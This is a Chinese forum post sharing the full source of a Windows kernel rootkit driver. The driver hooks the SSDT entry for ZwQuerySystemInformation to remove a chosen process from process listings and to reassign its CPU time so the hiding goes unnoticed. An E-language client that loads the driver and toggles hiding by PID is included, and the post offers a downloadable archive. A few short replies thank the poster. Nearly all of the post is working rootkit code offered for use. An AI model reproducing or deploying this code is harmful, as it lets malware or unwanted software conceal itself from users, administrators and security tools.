登录  | 立即注册

游客您好!登录后享受更多精彩

查看: 356|回复: 3

[源码] ssdt Hook 隐藏进程 , 易语言例程+驱动源码

[复制链接]

80

主题

-6

回帖

79

积分

网站编辑

积分
79
发表于 2024-12-27 21:22:35 | 显示全部楼层 |阅读模式
驱动在 WDK 7600.16385.0 编译通过.

易语言编译的模块提供了3个接口:

驱动操作.加载 ("服务名[文本型]", "驱动名[文本型]", "驱动路径[文本型]")
驱动操作.通信 ("驱动指令[整数型]", "输入缓冲指针[整数型]", "输入缓冲长度[整数型]", "输出缓冲指针[整数型]", "输出缓冲长度[整数型]")
驱动操作.卸载 ()


调用代码也很简单:

.版本 2

.程序集 窗口程序集1
.程序集变量 驱动, 驱动操作
.程序集变量 ProcessId, 整数型

.子程序 __启动窗口_创建完毕

.如果真 (取反 (驱动.加载 (“HideProcess”, “//./HideProcess”, 取运行目录 () + “\HideProcess.sys”)))
    信息框 (“加载驱动失败!”, #错误图标, “错误”)
    结束 ()
.如果真结束


.子程序 __启动窗口_将被销毁

ProcessId = 0
驱动.通信 (4096, lstrcpyn (ProcessId, ProcessId, 0), 4, 0, 0)

.子程序 _开关_被单击

.如果 (开关.标题 = “HideOff”)
    ProcessId = 0
    .如果真 (驱动.通信 (4096, lstrcpyn (ProcessId, ProcessId, 0), 4, 0, 0))
        开关.标题 = “HideOn”
    .如果真结束

.否则
    ProcessId = GetCurrentProcessId ()
    .如果 (取反 (驱动.通信 (4096, lstrcpyn (ProcessId, ProcessId, 0), 4, 0, 0)))
        信息框 (“隐藏失败!”, #错误图标, “错误”)
    .否则
        开关.标题 = “HideOff”
    .如果结束


驱动实现如下:
#include "ntddk.h"
#include "drvcommon.h"

#pragma pack(1)
typedef struct ServiceDescriptorEntry {
        unsigned int *ServiceTableBase;
        unsigned int *ServiceCounterTableBase;
        unsigned int NumberOfServices;
        unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()

__declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]


PMDL  g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
#define HOOK_SYSCALL(_Function, _Hook, _Orig )  \
       _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

#define UNHOOK_SYSCALL(_Function, _Hook, _Orig )  \
       InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)


struct _SYSTEM_THREADS
{
        LARGE_INTEGER           KernelTime;
        LARGE_INTEGER           UserTime;
        LARGE_INTEGER           CreateTime;
        ULONG                           WaitTime;
        PVOID                           StartAddress;
        CLIENT_ID                       ClientIs;
        KPRIORITY                       Priority;
        KPRIORITY                       BasePriority;
        ULONG                           ContextSwitchCount;
        ULONG                           ThreadState;
        KWAIT_REASON            WaitReason;
};

struct _SYSTEM_PROCESSES
{
        ULONG                           NextEntryDelta;
        ULONG                           ThreadCount;
        ULONG                           Reserved[6];
        LARGE_INTEGER           CreateTime;
        LARGE_INTEGER           UserTime;
        LARGE_INTEGER           KernelTime;
        UNICODE_STRING          ProcessName;
        KPRIORITY                       BasePriority;
        ULONG                           ProcessId;
        ULONG                           InheritedFromProcessId;
        ULONG                           HandleCount;
        ULONG                           Reserved2[2];
        VM_COUNTERS                     VmCounters;
        IO_COUNTERS                     IoCounters;
        struct _SYSTEM_THREADS          Threads[1];
};

struct _SYSTEM_PROCESSOR_TIMES
{
                LARGE_INTEGER                                        IdleTime;
                LARGE_INTEGER                                        KernelTime;
                LARGE_INTEGER                                        UserTime;
                LARGE_INTEGER                                        DpcTime;
                LARGE_INTEGER                                        InterruptTime;
                ULONG                                                        InterruptCount;
};


NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
                        IN PVOID SystemInformation,
                        IN ULONG SystemInformationLength,
                        OUT PULONG ReturnLength);


typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
            ULONG SystemInformationCLass,
                        PVOID SystemInformation,
                        ULONG SystemInformationLength,
                        PULONG ReturnLength
);


ZWQUERYSYSTEMINFORMATION        OldZwQuerySystemInformation;
ULONG                                                        pid = 0;
PDRIVER_OBJECT pdoGlobalDrvObj = 0;
LARGE_INTEGER                                        m_UserTime;
LARGE_INTEGER                                        m_KernelTime;

#define DEVICE_NAME                        "\\Device\\HideProcess"
#define SYMLINK_NAME                "\\DosDevices\\HideProcess"
PRESET_UNICODE_STRING(usDeviceName, DEVICE_NAME);
PRESET_UNICODE_STRING(usSymlinkName, SYMLINK_NAME);



NTSTATUS NewZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
            IN PVOID SystemInformation,
            IN ULONG SystemInformationLength,
            OUT PULONG ReturnLength)
{

   NTSTATUS ntStatus;

   ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
                                        SystemInformationClass,
                                        SystemInformation,
                                        SystemInformationLength,
                                        ReturnLength );

   if( NT_SUCCESS(ntStatus)) 
   {
      if(SystemInformationClass == 5)
      {                                
                 struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
         struct _SYSTEM_PROCESSES *prev = NULL;
                 
                 while(curr)
                 {
                        if (curr->ProcessId != 0 && pid != 0)
                        {
                                if(curr->ProcessId == pid)
                                {
                                        m_UserTime.QuadPart += curr->UserTime.QuadPart;
                                        m_KernelTime.QuadPart += curr->KernelTime.QuadPart;

                                        if(prev)
                                        {
                                                if(curr->NextEntryDelta)
                                                        prev->NextEntryDelta += curr->NextEntryDelta;
                                                else
                                                        prev->NextEntryDelta = 0;
                                        }
                                        else
                                        {
                                                if(curr->NextEntryDelta)
                                                {
                                                        (char *)SystemInformation += curr->NextEntryDelta;
                                                }
                                                else
                                                        SystemInformation = NULL;
                                        }
                                }
                        }
                        else
                        {
                           curr->UserTime.QuadPart += m_UserTime.QuadPart;
                           curr->KernelTime.QuadPart += m_KernelTime.QuadPart;
                           m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
                        }
                        prev = curr;
                    if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
                    else curr = NULL;
             }
          }
          else if (SystemInformationClass == 8)
          {
         struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
         times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
          }

   }
   return ntStatus;
}


VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
   DbgPrint("ROOTKIT: OnUnload called\n");

   UNHOOK_SYSCALL( ZwQuerySystemInformation, OldZwQuerySystemInformation, NewZwQuerySystemInformation );

   if(g_pmdlSystemCall)
   {
      MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
      IoFreeMdl(g_pmdlSystemCall);
   }
}

NTSTATUS OnDispatchCreateClose(
    IN PDEVICE_OBJECT                DeviceObject,
    IN PIRP                                        Irp
    )
{
    NTSTATUS status = STATUS_SUCCESS;
    Irp->IoStatus.Status = status;
    Irp->IoStatus.Information = 0;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return status;
}

NTSTATUS OnDispatchDeviceControl(
    IN PDEVICE_OBJECT                DeviceObject,
    IN PIRP                                        Irp
    )
{
    NTSTATUS status = STATUS_SUCCESS;
    PIO_STACK_LOCATION irpSp = IoGetCurrentIrpStackLocation(Irp);

    switch(irpSp->Parameters.DeviceIoControl.IoControlCode)
    {
    case 0x1000:
                pid = *(PULONG)Irp->AssociatedIrp.SystemBuffer;
        break;
    default:
        Irp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;
        Irp->IoStatus.Information = 0;
                pid = 0;
        break;
    }

    status = Irp->IoStatus.Status;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return status;
}


NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject, 
                                         IN PUNICODE_STRING theRegistryPath)
{
        PDEVICE_OBJECT pdoDeviceObj = 0;
    NTSTATUS status = STATUS_UNSUCCESSFUL;
    pdoGlobalDrvObj = theDriverObject;

    if(!NT_SUCCESS(status = IoCreateDevice(
        theDriverObject,
        0,
        &usDeviceName,
        FILE_DEVICE_UNKNOWN,
        FILE_DEVICE_SECURE_OPEN,
        FALSE,
        &pdoDeviceObj
        )))
    {
        return status;
    };

    if(!NT_SUCCESS(status = IoCreateSymbolicLink(
        &usSymlinkName,
        &usDeviceName
        )))
    {
        IoDeleteDevice(pdoDeviceObj);
        return status;
    }

   theDriverObject->MajorFunction[IRP_MJ_CREATE] =
   theDriverObject->MajorFunction[IRP_MJ_CLOSE] = OnDispatchCreateClose;
   theDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = OnDispatchDeviceControl;
   theDriverObject->DriverUnload  = OnUnload; 


   m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;


   OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));

   g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
   if(!g_pmdlSystemCall)
      return STATUS_UNSUCCESSFUL;

   MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
   g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
   MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
   HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation, OldZwQuerySystemInformation );
                              
   return STATUS_SUCCESS;
}

ssdt Hook 隐藏进程 , 易语言例程 驱动源码.rar

8.69 KB, 下载次数: 8, 下载积分: 断点币 -2

0

主题

16

回帖

9

积分

新手上路

积分
9
发表于 2025-3-1 19:57:31 | 显示全部楼层
感谢分享
回复

使用道具 举报

0

主题

211

回帖

187

积分

注册会员

积分
187
发表于 2025-3-14 09:13:47 | 显示全部楼层
支持一下!!
回复

使用道具 举报

0

主题

67

回帖

165

积分

注册会员

积分
165
发表于 7 天前 | 显示全部楼层
看帖看完了至少要顶一下,还可以加入到淘帖哦!
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|断点社区 |网站地图

GMT+8, 2025-4-17 04:37 , Processed in 0.115476 second(s), 24 queries , Yac On.

Powered by XiunoBBS

Copyright © 2001-2025, 断点社区.

快速回复 返回顶部 返回列表